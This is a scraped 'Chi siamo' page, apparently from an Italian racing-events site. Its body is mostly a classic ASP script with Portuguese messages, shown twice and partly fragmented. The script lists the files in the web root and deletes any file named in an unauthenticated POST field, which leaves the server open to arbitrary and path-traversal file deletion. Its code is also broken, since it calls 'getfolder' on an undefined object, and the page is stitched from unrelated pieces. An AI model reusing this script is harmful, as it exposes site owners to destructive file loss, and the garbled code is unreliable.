Chi siamo


html>

<%

dim fso,arq,pasta
set fso=createobject("scripting.filesystemobject")

set pasta=f.getfolder(server.mappath("/"))

if request.servervariables("content_length")<>0 then
on error resume next
fso.deletefile pasta.path & "\" & request.form("txtarquivo")
if err.number<>0 then
response.write("Erro ao deletar o arquivo")
else
response.write("Arquivo deletado")
end if
on error goto 0
end if %>



<%

for each arq in pasta.files %>

<%

next

%>

<%
response.write(arq.name) %>



html>
<body>
<%
dim fso,arq,pasta
set fso=createobject("scripting.filesystemobject")
set pasta=f.getfolder(server.mappath("/"))
if request.servervariables("content_length")<>0 then
on error resume next
fso.deletefile pasta.path & "\" & request.form("txtarquivo")
if err.number<>0 then
response.write("Erro ao deletar o arquivo")
else
response.write("Arquivo deletado")
end if
on error goto 0
end if %>
<p>
<table width=100%>
<%

for each arq in pasta.files %>
<tr><td> <%
response.write(arq.name) %>
</td><td>
<form method=post action="arquivos.asp">
<input type=hidden name=txtarquivo value="<%=arq.name %>">
<input type=submit value="Apagar">
</form><br></td></tr>
<%

next
%>
</body>
</html>


Eventi visualizzati 2017

  • Totale click: 114.042

Calendario Eventi

Classifiche



TagRacer Youtube Channel